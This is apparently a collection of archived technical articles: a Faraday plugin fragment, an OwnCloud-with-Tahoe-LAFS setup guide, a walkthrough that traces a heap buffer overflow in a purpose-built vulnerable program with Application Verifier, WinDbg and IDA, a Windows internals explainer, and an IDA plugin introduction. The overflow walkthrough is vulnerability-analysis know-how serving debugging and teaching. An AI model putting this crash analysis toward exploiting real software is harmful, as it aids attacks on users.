[/code]

##  Plugins types:

We have 3 kind of plugins:

  * Plugins that intercept commands \(directly detected when you execute commands in the console\)
  * Plugins that import file reports \(you have to copy the report to $HOME/.faraday/report/\[workspacename\] and faraday will automatically detect the report, process and added to the HostTree.
  * Plugins connectors or online \(BeEF, Metasploit, Burp\) connect directly with external API or database or connect with Faraday RPC API.

##  Get it now\!

##  Links

# OwnCloud with Tahoe-Lafs

**Created:**| _10/30/2013 8:37:10 AM_  
---|---  
**Updated:**| _10/30/2013 8:37:10 AM_  
**Author:**| __  
**Tags:**| _cloud computing filesystems_  
  

#  OwnCloud with Tahoe-Lafs****

User Rating: / 0 PoorBest

_**Owncloud with Tahoe-LAFS**.****_

After all the NSA scandals I decided to pull all my files off amazon, google,
dropbox etc**.**  
As a alternative I’ve been using one of my servers in my basement, I’ve been
using Owncloud as my front-end ,  
it works perfectly, the client is crossplatform too, so it works with most
OS’es**.**  
  
The only issue I had was off-site storage, I really wanted a secure way of
storing them off-site, so if my house burns down I can still get to my
files**.**  
  
This is where Tahoe-LAFS  comes in, is a secure storage system for files**.**
I wanted Owncloud  to work with this system,  
and it does indeed work, but it takes some work to configure it**.**  
  
I plowed through the Tahoe-LAFS documentation, and asked the friendly guys at
IRC on how to get tahoe to work with FTP,  
when that was set up I pointed my OwnCloud to the Tahoe-LAFS FTP, and it works
flawlessly**.**  
  
This tutorial will do so that you hook it up to the test grid , that makes it
easier for you to follow since you only need a client node,  
but please do not put large amount of files there, this is just for
testing**.** Keep in mind that your files cannot be seen by anyone else, even
if you use the test-grid**.**  
  
First you need to install Tahoe-LAFS I assume you are on ubuntu , and that you
are running owncloud  server on the same machine as Tahoe-LAFS**.**  
just install Tahoe-LAFS by entering the command:  
  
**apt-get install Tahoe-LAFS**  
  
We then need to connect it at least once to the test-grid, we do this so that
we can create a folder that we then have as root for our FTP on the Tahoe pub
grid**.**  
  
Go to your home directory.  
run command:  
‘**﻿tahoe create-client** ’  
this will create our client config etc**.**  
  
Edit the configuration it created:  
  
**nano /home/YOUR\_USERNAME/.tahoe/tahoe.cfg**  
  
Edit the following:  
  
_﻿\[node\]  
nickname = Another nickname than "None"  
  
﻿\[client\]  
introducer.furl = pb://
hckqqn4vq5ggzuukfztpuu4wykwefa6d@publictestgrid.dnsd.info  :50213/introducer_  
  
\(this will connect it to the testgrid \)**.**  
  
restart tahoe with the new configuration:  
**tahoe restart**  
  
open your browser and go to:  
http://127**.** 0.0**.** 1:3456/  
  
this is your tahoe installation webgui**.**  
click the ‘create a directory’ button \(just leave everything as
default\)**.**  
  
click on ‘more info about this directory’  
then copy the long line that says:  
﻿'Directory writecap’  
it’s a long line like this \(example has been altered, so do not use it\):  
﻿URI:DIR2:lrd3bxx5wm3grihn6srggrc5xq:aeoxmyovm6vpivcqutds2lszrrmaudbkrv6jfyzfqndjv3o4k46q  
  
We will use this for our FTP account file,

create a folder named 'private':

**mkdir private**

create the file:  
**nano /home/YOUR\_USERNAME/private/accounts**  
  
and enter:  
YOUR\_USERNAME YOUR\_PASSWORD
﻿URI:DIR2:lrd3bxx5wm3grihn6srggrc5xq:aeoxmyovm6vpivcqutds2lszrrmaudbkrv6jfyzfqndjv3o4k46q  
  
in a row \(Space between username, pass and uri\)**.** the URI is the folder
we created in our webgui**.**  
  
We then edit our tahoe config, to enable FTP with the account file we
created**.**  
**nano /home/YOUR\_USERNAME/.tahoe/tahoe.cfg**  
  
Add the following:  
  
_\[ftpd\]  
enabled = true  
port = tcp:8021:interface=127**.** 0.0.1  
accounts.file = /home/YOUR\_USERNAME/private/accounts_  
You then log in to your owncloud instance, and

1\) click on your **username** \(I assume you are admin on that instance\)

2\) select ‘**apps** ’, enable ‘**external storage support** ’**.**  
  
click your **username** again, and select ‘**admin** ’,  
add your FTP to the config:  
‘Folder name = tahoestorage’  
‘external storage = ftp’  
‘configuration= 127**.** 0.0**.** 1:8021' \(8021 is the port the FTP runs on\)  
‘username = your username in the accounts file’  
‘password = your password in the accounts file’**.**  
  
then the ‘tahoestorage’ will appear in your root folder on owncloud**.**  
If the icon looks like a folder then you've done it correctly, also a green
icon will appear next to where you define the FTP settings if everything is
OK**.**  
you can then put files there and it’ll distribute it over tahoe-lafs**.**

you can also open the port to owncloud webserver so that you can use the
owncloud desktop client from wherever you are to your server at home,  
then this owncloud instance will automatically distribute all files to the
Tahoe grid - awesome, the power of open-source..**\!**

****

# Exploring Heap-Based Buffer Overflows with the Application Verifier -
Security

**Created:**| _4/3/2010 10:09:56 AM_  
---|---  
**Updated:**| _4/3/2010 10:10:14 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification bookmark Exploit reversing Heap_  
  

# Exploring Heap-Based Buffer Overflows with the Application Verifier

#  
  

Isolating the root cause of a heap-based buffer overflow can be tricky at
best. Thankfully, Microsoft provides a great tool called the Application
verifier, which makes the process significantly gentler.

In this post, we will look at how to use the Application Verifier to pinpoint
the source of a heap overflow in a binary. Due to the fact that it is
difficult to find a publicly available and easy-to-trigger heap overflow
vulnerability in an application whose EULA does not prevent reverse
engineering, I have created a small sample application that contains a heap
overflow for this purpose.

The sample application \(contactsheap\) simply parses a custom “contact” file
\(.ct\) and displays it neatly. This trivial file format was designed for the
specific purpose of this post and is not \(to my knowledge\) used anywhere.

The output below shows a sample run of the application on a contact file
\(phil.ct\).

`C:\Users\user\Desktop\contactsheap\contactsheap\Debug>contactsheap.exe
phil.ct  
——-[ contactsheap ]———-  
2010 Cisco Systems  
——————————————  
[+] Contact:  
Name: Mr Phil Dangerfield  
Age: 35  
Location: Austin, TX  
`

As you can see, the contact file in question contains the details for someone
called Phil, age 35 from Austin, TX.

If we use the “xxd” utility \(available from http://unxutils.sourceforge.net\)
to dump the contact file in a readable fashion we can already see that the
format is quite readable.

`C:\Users\user\Desktop\contactsheap\contactsheap\Debug>xxd phil.ct  
0000000: 1100 0000 5068 696c 2044 616e 6765 7266 ....Phil Dangerf  
0000010: 6965 6c64 0003 0000 0033 3500 0b00 0000 ield…..35…..  
0000020: 4175 7374 696e 2c20 5458 0003 0000 004d Austin, TX…..M  
0000030: 7200 0d0a r….  
`

For the sake of this post, however, let’s pretend that we have run a fuzzer
against phil.ct and triggered a crash when it is opened with contactsheap.exe.
To investigate this crash we can begin by running the application within the
cdb debugger. This debugger is part of the Debugging Tools for Windows
package, and is basically the command line version of Windbg. The Debugging
Tools for Windows package is available at Microsoft.com.

`C:\Users\user\Desktop\contactsheap\contactsheap\Debug>cdb contactsheap.exe
bad.ct  
Microsoft (R) Windows Debugger Version 6.11.0001.404 AMD64  
Copyright (c) Microsoft Corporation. All rights reserved.  
CommandLine: contactsheap.exe bad.ct  
0:000:x86> g  
——-[ contactsheap ]———-  
2010 Cisco Systems  
——————————————  
[+] Contact: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[additional text
removed]  
Phil Dangerfield  
Age: 35  
Location: Austin, TX  
(23a0.1c4): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
ntdll32!RtlImageNtHeader+0x92f:  
77163913 8b12 mov edx,dword ptr [edx] ds:002b:41414141=????????  
0:000:x86>  
`

As you can see, this application is crashing on a read instruction reading
from the address 0x41414141 \(“AAAA”\). If we use the “k” command to determine
the stack back trace for the running application, we can see that this
occurred after ExitProcess\(\) was called. From this we can probably make a
guess that the heap was smashed with the repeating “A” character; however, we
don’t know the reason why at this stage. This is where the Application
Verifier helps us out.

The Application Verifier \(appverif.exe\) is a utility created by Microsoft to
aid with the investigation of a variety of software bugs. It is available as a
small download from the Microsoft website. It provides a variety of options
for monitoring different aspects of an application at runtime. However, in
order to limit the scope of this post, we will focus on the heap debugging
functionality.

The options for heap debugging present in the Application Verifier are a
combination of the gflags and pageheap functionality accessible through one
convenient user interface. Essentially, this functionality allows us to force
an application to use the pageheap allocator instead of the default memory
allocator on Windows. The pageheap allocator will allocate a full page per
requested chunk. It then makes sure that the page after the allocation in
memory is unmapped. This works as a guard page, and basically means that if
memory access takes place outside the boundaries of the allocated chunk it
will result in an instant access violation at the exact time of access.

In order to begin using this functionality we start by running the
appverif.exe application, \(typically C:\WINDOWS\SYSTEM32\APPVERIF.EXE\),
right clicking on the Applications field and selecting “Add Application”.

<img src='img/Temp2_3030.jpg' />

We can then browse to our contactsheap.exe application and click OK. This adds
contactsheap.exe to our Application textbox. The Tests field on the right-hand
side of the window allows us to select the various run-time tests we wish to
enable for our application. For the sake of this post though, we’re only
interested in the “Basics -> Heaps” tests. If we right-click on these and
select Properties we can fine tune our heap debugging options.

<img src='img/Temp2_3027.jpg' />

As you can see from the screenshot below, there are a variety of options for
configuring our heap tests.

We will run through a few of the relevant options we need to debug the
contactsheap vulnerability mentioned above. However, the rest of the options
are explained in detail in the help file that ships with the Application
Verifier.

<img src='img/Temp2_3029.jpg' />

The first option on our list, “Full”, toggles between the usage of “normal
page heap” or “full page heap”. Full page heap is what was described above
with an unmapped guard page after each allocation. For obvious reasons, this
is a very slow process, and can cause some applications to be completely
unresponsive. In contrast, Normal page heap simply uses “cookie” values before
and after each allocated chunk. When a chunk is HeapFree\(\)’ed or
HeapAlloc\(\)’ed, the integrity of the current heap is checked. This is
clearly much less overhead than using the full pageheap method, although it
will not be as accurate.

Another option available if Full page heap is required but the overhead is too
great is to specify a size range using the size fields shown above. These
fields let you select a range of chunk sizes in which to use the page heap.
The rest of the allocations will be allocated using the normal allocator. This
results in a faster solution, but has the downside that the approximate size
of the chunk you’re overflowing must be known prior to debugging.

The Windows memory allocator has been designed in such a way that a different
“front end allocator” can be used in different situations. On Windows XP the
default was to use a Look-aside list as the front end allocator; however, on
Windows Vista and later the default is now to use the Low Fragmentation Heap
\(LFH\). The option UseLFHGuardPages, shown at the bottom of the panel above,
causes guard pages to be inserted in the case that the LFH front-end allocator
is being used. This is turned on since I’m using Windows 7 for this test.

Once we have selected our options, we can click OK and then Save to apply our
settings. This will create registry entries for the Application with the
settings so that they will be applied whenever the application is invoked. Now
we are ready to once again run contactheap.exe under the cdb debugger.

`0:000:x86> g  
——-[ contactsheap ]———-  
2010 Cisco Systems  
——————————————  
[+] Contact:  
(3b9c.3a28): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
MSVCR90D.dll -  
MSVCR90D!getc_nolock+0x13c9:  
6944a189 8802 mov byte ptr [edx],al ds:002b: 06e42000 =??  
`

As you can see, once again we have a crash accessing an unmapped memory
address. However, this time rather than it being a memory read instruction to
0x41414141 we have a crash on a write instruction, moving one byte into the
location 06e42000. The fact that our address is page aligned \(0x1000\)
indicates already that we are probably accessing the start of one of our heap
guard pages. If we use the “r” command to dump the contents of the eax
register we can see that it contains the value 41. We can therefore assume
that this instruction is smashing the heap with “A”s.

`0:000:x86> r al  
al=41  
`

If we once again use the ‘k’ command to dump the call stack for our
application we can get a clearer picture of what is going on.

`0:000:x86> k  
ChildEBP RetAddr  
WARNING: Stack unwind information not available. Following frames may be
wrong.  
0039f3a8 6944a283 MSVCR90D!getc_nolock+0x13c9  
0039f3c0 69449fba MSVCR90D!getc_nolock+0x14c3  
0039f6f0 6940ca94 MSVCR90D!getc_nolock+0x11fa  
0039f740 011917f5 MSVCR90D!sprintf+0x114  
0039f89c 01191a94 contactsheap!read_record+0x135  
0039fa2c 01192148 contactsheap!wmain+0x144  
0039fa7c 01191f8f contactsheap!__tmainCRTStartup+0x1a8  
0039fa84 75213677 contactsheap!wmainCRTStartup+0xf  
0039fa90 77169d72 kernel32!BaseThreadInitThunk+0x12  
0039fad0 77169d45 ntdll32!RtlInitializeExceptionChain+0x63  
`

Luckily for us, we have debug symbols for this binary. But even if we didn’t,
the MSVCR and kernel32 functions would still be named correctly. As you can
see after the c-runtime finished, the wmain\(\) function was executed. From
here, the read\_record\(\) function was called. This function called
sprintf\(\), which is a known unsafe function, as it performs no bounds
checking when it copies a string.

If we load the binary \(contactsheap.exe\) up in IDA Pro and jump to the
read\_record\(\) function we can very clearly see the call to sprint\(\).

`mov esi, esp  
mov eax, [ebp+var_20]  
push eax  
mov ecx, [ebp+var_44]  
push ecx  
push offset aSS ; “%s %s”  
mov edx, [ebp+var_14]  
push edx ; char *  
call ds:__imp__sprintf  
add esp, 10h  
cmp esi, esp  
`

Here we can see that the sprintf\(\) call used the format string “%s %s”, so
it was concatenating two strings together. But before we can completely
understand this vulnerability we must first track down where the destination
string was allocated. In some cases, this can be quite difficult, but again
the Application Verifier makes our job much easier.

When the pageheap functionality is enabled for an application, each memory
allocation has its callstack logged at the time of allocation. This
functionality makes it trivial to discover where an allocation took place at
the time of crash.

This information is easily accessible from within windbg. First, however, we
can look at how it’s stored. When an allocation takes place, pageheap
populates a \_DPH\_BLOCK\_INFORMATION structure and stores it directly before
the chunk itself. The format of this structure is as follows:

`typedef struct _DPH_BLOCK_INFORMATION  
{  
ULONG StartStamp;  
PVOID Heap;  
ULONG RequestedSize;  
ULONG ActualSize;  
union  
{  
LIST_ENTRY FreeQueue;  
SINGLE_LIST_ENTRY FreePushList;  
WORD TraceIndex;  
};  
PVOID StackTrace;  
ULONG EndStamp;  
} DPH_BLOCK_INFORMATION, *PDPH_BLOCK_INFORMATION;  
`

As you can see, this structure is a treasure trove of information for us to
use in further investigating our vulnerability. We can see what size was
requested by the program, as well as what size was actually allocated after
rounding takes place. We can recognize these structures in memory by the
Startstamp and EndStamp values in memory. Startstamp is always initialized to
the static value 0xabcdaaaa and EndStamp is initialized to 0xdcbaaaaa.

In order to locate the \_DPH\_BLOCK\_INFORMATION structure for our particular
crash, we can use the \!heap windbg extension. The –x command will report
information about a particular address. If we pass it the current value of edx
minus four it will report the starting address of our structure.

`0:000> !heap -x edx-4  
Entry User Heap Segment Size PrevSize Unused Flags  
06e41fc0 06e41fc8 05d80000 05de1768 40 - b LFH;busy  
`

We can then use this address with the “dt” \(dump type\) command to display
the bytes at this address in the form of our \_DPH\_BLOCK\_INFORMATION
structure.

`0:000> dt _DPH_BLOCK_INFORMATION 6e41fc8  
verifier!_DPH_BLOCK_INFORMATION  
+0x000 StartStamp : 0xabcdaaaa  
+0x004 Heap : 0x85bb1000  
+0x008 RequestedSize : 0x15  
+0x00c ActualSize : 0x35  
+0x010 Internal : _DPH_BLOCK_INTERNAL_INFORMATION  
+0x018 StackTrace : 0x04bcf79c  
+0x01c EndStamp : 0xdcbaaaaa  
`

From this information we can see that a 0x15 \(21\) byte allocation was
requested. This was rounded to 0x35 \(53\) during the allocation process. We
can also see that the stack trace information is stored at the address
0x04bcf79c.

To dump the stack trace in a readable fashion we can use the dds command. This
command means “dump dwords with symbols”, and shows where each address is
located.

`0:000> dds 04bcf79c  
04bcf79c 00000000  
04bcf7a0 00006001  
04bcf7a4 000d0000  
04bcf7a8 6655a6a7 verifier!AVrfpDphNormalHeapAllocate+0xd7  
04bcf7ac 66558f6e verifier!AVrfDebugPageHeapAllocate+0x30e  
04bcf7b0 772002fe ntdll!RtlDebugAllocateHeap+0x30  
04bcf7b4 771bac4b ntdll!RtlpAllocateHeap+0xc4  
04bcf7b8 77163b4e ntdll!RtlAllocateHeap+0x23a  
04bcf7bc 665bfd2c vfbasics!AVrfpRtlAllocateHeap+0xb1  
04bcf7c0 011917a4 contactsheap!read_record+0xe4  
04bcf7c4 01191a94 contactsheap!wmain+0x144  
04bcf7c8 01192148 contactsheap!__tmainCRTStartup+0x1a8  
04bcf7cc 01191f8f contactsheap!wmainCRTStartup+0xf  
04bcf7d0 75213677 kernel32!BaseThreadInitThunk+0xe  
04bcf7d4 77169d72 ntdll!__RtlUserThreadStart+0x70  
04bcf7d8 77169d45 ntdll!_RtlUserThreadStart+0x1b  
`

The most interesting entries in this backtrace for us are those in the
contactsheap module itself. We can see that the function directly before the
call to RtlAllocateHeap took place was the “read\_record” function. This means
that the allocation took place in this function. To get some context on this
we can use the “ub” \(unassembled backwards\) command in cdb to dump the
previous 5 instructions before the call to HeapAlloc.

`0:000> ub 011917a4 L5  
contactsheap!read_record+0xd7:  
01191797 52 push edx  
01191798 6a08 push 8  
0119179a 8b45f8 mov eax,dword ptr [ebp-8]  
0119179d 50 push eax  
0119179e ff15c0811901 call dword ptr [contactsheap!_imp__HeapAlloc (011981c0)]  
`

In order to do further investigation on this we will need to move to static
analysis in IDA Pro. Before we go into this, however, I will just mention that
exploring the pageheap metadata can also be done using the ‘\!heap’ extension.
To view the options for this, as well as information on the technique
described above, you can use the ‘\!heap –p -?’ command.

If we browse the section of the binary where our allocation takes place in IDA
pro, we can see each argument to HeapAlloc\(\) labeled with its name.

`.text:0041178B loc_41178B: ; CODE XREF: read_record(int)+C1j  
.text:0041178B mov eax, [ebp+var_74]  
.text:0041178E mov ecx, [ebp+var_50]  
.text:00411791 lea edx, [ecx+eax+5]  
.text:00411795 mov esi, esp  
.text:00411797 push edx ; dwBytes  
.text:00411798 push 8 ; dwFlags  
.text:0041179A mov eax, [ebp+hHeap]  
.text:0041179D push eax ; hHeap  
.text:0041179E call ds:__imp__HeapAlloc@12 ; HeapAlloc(x,x,x)  
.text:004117A4 cmp esi, esp  
`

We can see from this listing that the number of bytes allocated by HeapAlloc
came from the edx register. Also you may notice that the size is a result of
the calculation of ecx + eax + 5. It seems logical that this instruction might
be responsible for an integer overflow, as there is no bounds checking
performed on the values of eax and ecx prior to this being executed.

The final step in our exploration is to work out where the values of the
variables var\_50 and var\_75 came from in order to determine the exact
criteria that lead to our heap overflow condition. We can do this by
investigating the cross references \(places in the binary where the variable
is used\) for each variable in turn. To start this we can click on the var\_50
variable and press the “X” key. This brings up a list of the x-refs for the
variable.

<img src='img/Temp2_3028.jpg' />

Next we select each x-ref in turn and investigate them. Looking at the first
x-ref we can see that the result of a function called “ReadString” is stored
in it. We can see from the function prototype that the string takes two
arguments, an integer and a \(void \*\*\).

`.text:0041170B mov ecx, [ebp+arg_0]  
.text:0041170E push ecx ; int  
.text:0041170F call j_?ReadString@@YAKHPAPAX@Z ; ReadString(int,void * *)  
.text:00411714 add esp, 8  
.text:00411717 mov [ebp+var_50], eax  
.text:0041171A cmp [ebp+var_50], 0  
.text:0041171E jnz short loc_411728  
`

Since we know that the value we’re looking at is definitely an integer \(we
know this because it’s used as the number of bytes to allocate with
HeapAlloc\), we can make a guess that it’s probably the length/number of bytes
read by the ReadString function. We can investigate this by reversing the
function though. For conciseness sake, however, we can assume that this is
true \(since I wrote the vulnerable application, I’m pretty sure it’s a safe
bet\). Readstring reads a length from the filehandle provided. It then reads
that many bytes from the file and stores it in a string. The length that was
read in first is then returned by the function.

Looking at the second variable, var\_74, we can see that it is used in exactly
the same way, as a size value from ReadString. With this in mind, we can get a
high-level overview of the vulnerability. Two length-encoded strings are read
in. Their lengths are added together and the result is used to decide how many
bytes to allocate. Then the strings are sprintf\(\)’ed into the buffer.
However, due to a wrap-around condition when calculating the length to
allocate, the copy can go well out of the bounds of the allocated buffer.

With this information in mind we can begin the process of fixing \(or
exploiting\) the vulnerability in question. Hopefully, if you’ve read up to
here you’ve learned something from all this. If anyone is interested in
receiving a copy of the binary mentioned in this post, just email and let me
know.

For those of you analyzing bugs under platforms other than Windows, similar
functionality can be achieved using Valgrind on Linux/BSD/Mac OS X. Also on
Mac OS X, a custom pageheap implementation is shipped by default that can be
preloaded. This can be used with DYLD\_INSERT\_LIBRARY=libgmalloc.dylib.

# De-Mystifying the Dark Corners of Windows: The Registry, DLLs, and More
Explained

**Created:**| _2/1/2012 6:20:06 PM_  
---|---  
**Updated:**| _2/1/2012 6:20:12 PM_  
**Author:**| __  
**Tags:**| _windows environment opinion_  
  

# De-Mystifying the Dark Corners of Windows: The Registry, DLLs, and More
Explained

If your Windows chops extend in any capacity beyond novice, you've no doubt
encountered the ever-cryptic Windows Registry, DLL files, User Account
Control, and other tools with seemingly dark and mysterious powers—but you may
not know exactly what they _do_. In fact, some of our favorite Windows-related
tricks and hacks require the use of these tools. Here, we'll explain some of
Windows' most confusing features, so you know exactly what's happening when
you go to edit them.

Some of these things you may already know about, but others may be unknown to
even the tech savvier among you \(I know I learned a few things writing this
piece\). We'll be covering 5 different Windows tools here: the registry, DLL
files, User Account Control, drivers, and the Group Policy Editor. Scroll down
to see more about what these things are, how they work, and what you can do
with them.

### The Registry

Full size

<img src='img/Temp2_1999.jpg' width='300' height='171' />

The registry is one of Windows' most confusing tools, but it can also be very
powerful if you know what you're doing. The registry is, essentially, a
hierarchical database that stores settings and preferences for nearly
everything on your system, from drivers and services to your user passwords
and user interface. In the old days, application preferences were stored in
text files with the INI extension, and while some still are, they've been
ditched for the faster, unified registry.

You can edit the registry yourself, if you wish \(though you usually need to
know what registry "key" you're tweaking before you go in, since they aren't
very descriptive\). Just go to the Start menu and type `regedit` into the
search box. From there, you can navigate the tree in the left sidebar, and
double-click on the desired key in the right pane to edit it. You might also
find, in your daring travels, that some people try to save you trouble by
creating .reg files that make the desired registry tweaks with a double click.
I'd recommend opening these up with Notepad to make sure they're actually
editing the right registry keys \(after all, it'd be pretty easy to muck up
one's computer this way if one was so inclined\), but as long as everything
looks kosher, they're a quick and easy way to tweak your system.

#### Examples of Registry-Related Life Hacks

  * Lose the taskbar thumbnail delay in Windows 7
  * Stop Windows from adding the word "Shortcut" to every shortcut you create
  * Clean up Explorer's "Open With" menu
  * These are just a few of our favorites; you can see a lot more on our top 10 list of the best registry hacks that power up Windows.
#### Problems That Can Arise with the Registry

While the registry offers some advantages over INI files, it isn't without
problems. Putting all your eggs in one basket always poses a risk. If
something were to damage the registry, it could potentially cause problems
with your entire Windows installation, not just that one program—which means
you'd need to repair the registry or reinstall Windows altogether. This is why
registry hacks, though useful, always come with the disclaimer to back up your
registry first, as things can go very, very wrong very, very quickly. The
registry can also build up a lot of junk if you don't uninstall applications
properly, or if the app uninstallers are poorly written.

That said, there isn't much you can or should do about these problems, save
for backing up your registry before you go a-tweaking. Registry cleaners are
rarely a good idea, and backing up your registry is as simple as creating a
restore point, so just stay safe and don't mess with the registry more than
you have to. It may be a faulty system, but it's not something you or any
other program can make better.

### Dynamic-Link Libraries \(DLLs\)

<img src='img/Temp2_1996.jpg' width='300' alt='De-Mystifying the Dark Corners
of Windows: The Registry, DLLs, and More Explained' />

Dynamic-Link Libraries, usually found on your system as .DLL files, are
libraries of code that any program can use. They serve two purposes:

    1. Since multiple programs can use them at the same time, it encourages people to reuse code, meaning your RAM has to load fewer things and your computer runs a little faster. Dialog boxes are a great example: Since the Comdlg32 DLL can be used by any program, you don't need a bunch of programs loading their own dialog box-related code; they just use the code built into Windows.
    2. DLLs allow programs to be _modular_. That is, it allows a program to call on only certain pieces of code rather than loading everything at once, which can slow the program down. You'll find this a lot with plugin-based programs, like Rainmeter or foobar2000. They'll only load the features you actually use, which they can do because DLLs exist separately from one another.
DLLs can also make updating a program simpler, since you won't always have to
reinstall the program from scratch—it can just update the necessary DLL files.
But, all in all, it makes your system run a bit faster and it allows for
customizable, plugin-based programs, which we're pretty big fans of.

#### Examples of DLL-Related Life Hacks

    * Giving Handbrake the ability to rip protected DVDs
    * Make iTunes work with multimedia keyboards
    * Roll your own killer audio player with foobar2000
    * #### Problems That Can Arise with DLL Files
The most common problem people see with DLL files is that they go missing.
This problem isn't quite as prevalent as it used to be, at least in my
experience, but it's good to know what to do if it does happen. If you get a
"\_\_\_\_.dll missing" error from a program, you'll probably be tempted to go
find the DLL file and download it, but that isn't always the best idea.
Instead of heading to a site like DLL-Files.com, you're better off
reinstalling the program from scratch, or at least running the "repair" option
in its installation \(if it has one\). Usually, it'll replace whatever it
needs, unless there's something wrong with the program itself \(which a quick
Google can help you figure out\).

If you find this happens more than once in a blue moon, there's probably
something else going on. Make sure you have good antivirus software running
and that you perform regular scans—if DLL files are missing left and right,
it's likely that you have some malware on your system, and replacing the DLL
files is just going to be a Band-Aid on a bullet wound.

### User Account Control \(UAC\)

<img src='img/Temp2_1997.jpg' width='300' alt='De-Mystifying the Dark Corners
of Windows: The Registry, DLLs, and More Explained' />

User Account Control is a security feature in Windows Vista and 7 that only
sort of does what it sounds like. Essentially, User Account Control \(UAC\) is
a way for certain programs to ask your permission before performing system-
level changes—like if you're installing a new program or editing system files.
That way, malicious programs can't just run without your consent—you're forced
to more closely pay attention to which programs have permission to tweak the
system.

By default, UAC is set to always notify you when programs try to make changes,
but not when you make changes to Windows settings. By heading to User Account
Control Settings \(which you can search for in the Start Menu's search box\),
you can make UAC more or less strict, the least strict option being that it
never notifies you of any changes. I like to slide it down one notch—to the
second from the bottom—since my screen usually takes a long time to dim when
popping up UAC prompts, and lowering the UAC level fixes this. Turning it off
completely isn't recommended unless you really know what you're doing, since
it can let any program run without your express permission.

#### Examples of UAC-Related Life Hacks

While you can't do much with the UAC, it is something that a lot of tricks
require you turn off, so it's important to know what you're doing when you
bring that slider down. Here are some examples of hacks that require UAC to be
turned off:

      * Pin documents to the Windows 7 taskbar
      * Enable Blu-Ray playback in XBMC
      * Make Your Desktop Look like OS X
#### Problems That Can Arise with UAC Tweaks

Changing the UAC level isn't going to ruin your computer like a bad registry
or missing DLL file might, but installing something you don't trust will—and
UAC makes that just a little bit easier, since it won't require those programs
to prompt you. The best thing we can say is that UAC is not a sufficient
security tool—always remember to keep a good antivirus program around. Even at
its most strict, UAC won't be able to tell viruses from regular programs; it
just asks you whether you want to run certain things or not. Responsibility is
the best protection against malware.

### Drivers

Full size

<img src='img/Temp2_1998.jpg' width='300' height='194' />

Many of you may already know what drivers are, though they are still
considered a "dark corner" by many—and it's important to know not only what
they are, but how to manage them properly. A driver is a piece of software
that allows your hardware to communicate with Windows. So, whether that means
helping your computer communicate with your network card to access the
internet or communicate with your webcam so you can broadcast video over
Skype, nearly all the hardware on your computer has a Windows driver that
allows it to work. Many drivers are built into Windows, while some you need to
get from that hardware manufacturer's web site. Sometimes Windows has a
barebones version of the driver built-in, and even though your hardware will
work out of the box, downloading the official manufacturer driver will give
you more features.

#### Examples of Driver-Related Life Hacks

While I don't really recommend using all-in-one driver update utilities, there
are still a few useful tricks we've learned over the years when it comes to
dealing with drivers:

      * Find information about hardware that Device Manager doesn't recognize
      * Get Mac-like scrolling and gestures on a Windows laptop
      * Reliably uninstall drivers with the absurdly powerful Device Remover
#### How to Correctly Manage Your Drivers

When you first install a new piece of hardware, head to the manufacturer's web
site and download the latest drivers \(don't install the ones on the CD that
came with it\). This ensures that you have the latest ones, and that you have
the official ones from that company, not the half-assed Microsoft drivers.

When it comes to updating drivers, don't do it willy-nilly. If your driver is
working fine, then there's no reason to upgrade unless the new version has
some awesome feature or speed enhancement you want. That means video card
drivers are often the exception to this rule—each upgrade usually comes with
speed enhancements and profiles for new games, so if you're a gamer, you'll
want to take advantage of new video card drivers when you can. Of course, if
the new ones start to cause problems, you can always roll back, so make a note
of what version you're currently using every time before you upgrade.

To check your driver version for any particular driver, just head to the
Device Manager \(by going to Start and searching for Device Manager\), right-
clicking on the hardware in question, and going to the driver tab. That will
list your driver version, and you can compare that with the current version on
the manufacturer's web site to see if there's a newer version available. You
can then download the newer version from the manufacturer and install it. I
usually avoid updating drivers from the Device Manager, since I never really
know what I'm getting—I like to download it straight from the manufacturer
itself.

### The Group Policy Editor

Full size

<img src='img/Temp2_2000.jpg' width='300' height='187' />

The Group Policy Editor is a tool you may have heard less about, but it does
come up from time to time. It's only available on Windows Professional and
higher, so not all users will have it, but it can do some pretty cool things.
On the surface, its purpose is to control what users can and can't do, usually
in enterprise situations. If you have a computer and you want to block its
users from editing the registry, changing security settings, or installing
software, the Group Policy Editor is how you would change that. We've featured
a few of these features before—namely creating an application whitelist and
blocking certain hard drives—but it can do some other cool things, too.

Editing group policy isn't all that different from editing the registry. Head
to the Start menu, type in Group Policy, and click on the editor that pops up.
You'll have a sidebar on the left with a hierarchical listing of settings you
can tweak, both for the computer and the current user, and when you find
something you want to change, you can right click on it in the right-hand pane
to create a new policy. Like the registry, group policy is also pretty darn
cryptic, so you'll probably need to know what you want to do before heading
into the editor, so you know which settings to edit and what values to give
their policies.

#### Examples of Group Policy-Related Life Hacks

      * Search the internet from Windows' Start menu \(or even set it to I'm Feeling Lucky\)
      * Customize or disable Google Update for Google Chrome
      * Remove or hide unwanted items from the Control Panel
      * * * *
Got any of your own tips related to the above features? Share them in the
comments. And if you have any other Windows features you'd like explained, let
us know—there are a lot more dark Windows corners to be explored\!

# climacros – IDA productivity tool

**Created:**| _4/25/2019 6:30:04 AM_  
---|---  
**Updated:**| _4/25/2019 6:30:04 AM_  
**Author:**| __  
**Tags:**| _iDA_  
  

  

# Introduction

A few weeks ago, I proposed an IDA features to improve the CLI and add macros
support. After a few email exchanges with Arnaud from Hex-Rays, we could not
agree on how to best do it and still accommodate to everyone’s needs. Finally,
Arnaud kindly wrote a quick IDAPython script to show me how I can intercept
the CLI text before it gets executed. Please see Hack of the day \#2: Command-
Line Interface helpers.

Unfortunately, the QT approach did not work for me due to many reasons:

  * I don’t want the text to be replaced on the fly.
  * I don’t want the expanded text \(macros\) to be part of the history. Instead the macros should remain un-expanded as they get stored in the history.

The biggest issue we were discussing is how to format numbers: 0xHEXNUM,
HEXNUM, \#HEXNUM, …?

How many hardcoded macros should we have and what should they do?

In all cases, since IDA is highly programmable and I have access to the
awesome IDA support team \(thank you guys\!\), the ball is now in my court and
_all_ I had to do is write a plugin.

# Enter ‘climacros’

I woke up one day with the solution to this _dilemma_. I don’t have to
hardcode anything, instead just let the users define their own macros backed
by Python expressions. The only thing I hardcoded was how to embed an
expression in the CLI text. I opted for something simple inspired by the
PHP/ASP syntax, something like **$\{_expression_ \}$ **\(anything between
those special tags is evaluated in Python\).

<img src='img/climacros-defaults.png' width='576' height='294' />

With this basic idea, I set about implementing all the default macros that I
think are useful for my daily work with WinDbg’s CLI.

